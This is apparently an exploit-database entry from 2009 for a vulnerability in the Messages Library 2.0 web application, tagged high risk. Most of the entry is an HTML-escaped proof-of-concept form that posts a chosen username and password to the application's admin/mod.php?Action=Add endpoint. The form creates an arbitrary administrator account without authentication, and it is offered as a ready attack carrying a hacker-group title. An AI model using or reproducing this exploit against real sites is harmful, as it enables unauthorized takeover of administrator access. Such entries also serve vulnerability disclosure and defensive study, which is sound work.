Messages Library 2.0 Arbitrary Administrator Account Vulnerability

🗓️ 30 Jun 2009 00:00:00Reported by RootType

Messages Library 2.0 Arbitrary Administrator Account Vulnerabilit


                                                &lt;head&gt;
&lt;title&gt;ThE g0bL!N  Messages Library 2.0 Remote Add Admintsrator Account &lt;/title&gt;
&lt;base target=&quot;left&quot;&gt;
&lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;
&lt;/head&gt;
&lt;form method=&quot;POST&quot; action=&quot;http://path/sms/admin/mod.php?Action=Add&quot;&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse&quot; bordercolor=&quot;#111111&quot; width=&quot;100%&quot; id=&quot;AutoNumber1&quot;&gt;
    &lt;tr&gt;
      &lt;td width=&quot;25%&quot;&gt;&lt;font face=&quot;MS Sans Serif&quot; size=&quot;2&quot;&gt;Username&lt;/font&gt;&lt;/td&gt;
      &lt;td width=&quot;75%&quot;&gt;&amp;nbsp;&lt;input type=&quot;text&quot; name=&quot;Name&quot; size=&quot;57&quot;&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td width=&quot;25%&quot;&gt;&lt;font face=&quot;MS Sans Serif&quot; size=&quot;2&quot;&gt;Password&lt;/font&gt;&lt;/td&gt;
      &lt;td width=&quot;75%&quot;&gt;&amp;nbsp;&lt;input type=&quot;password&quot; name=&quot;Password&quot; size=&quot;57&quot;&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p align=&quot;center&quot;&gt;&lt;input type=&quot;submit&quot; value=&quot;add admin&quot; name=&quot;B1&quot;&gt;&lt;/p&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

# sebug.net

30 Jun 2009 00:00Current

7.1High risk

Vulners AI Score7.1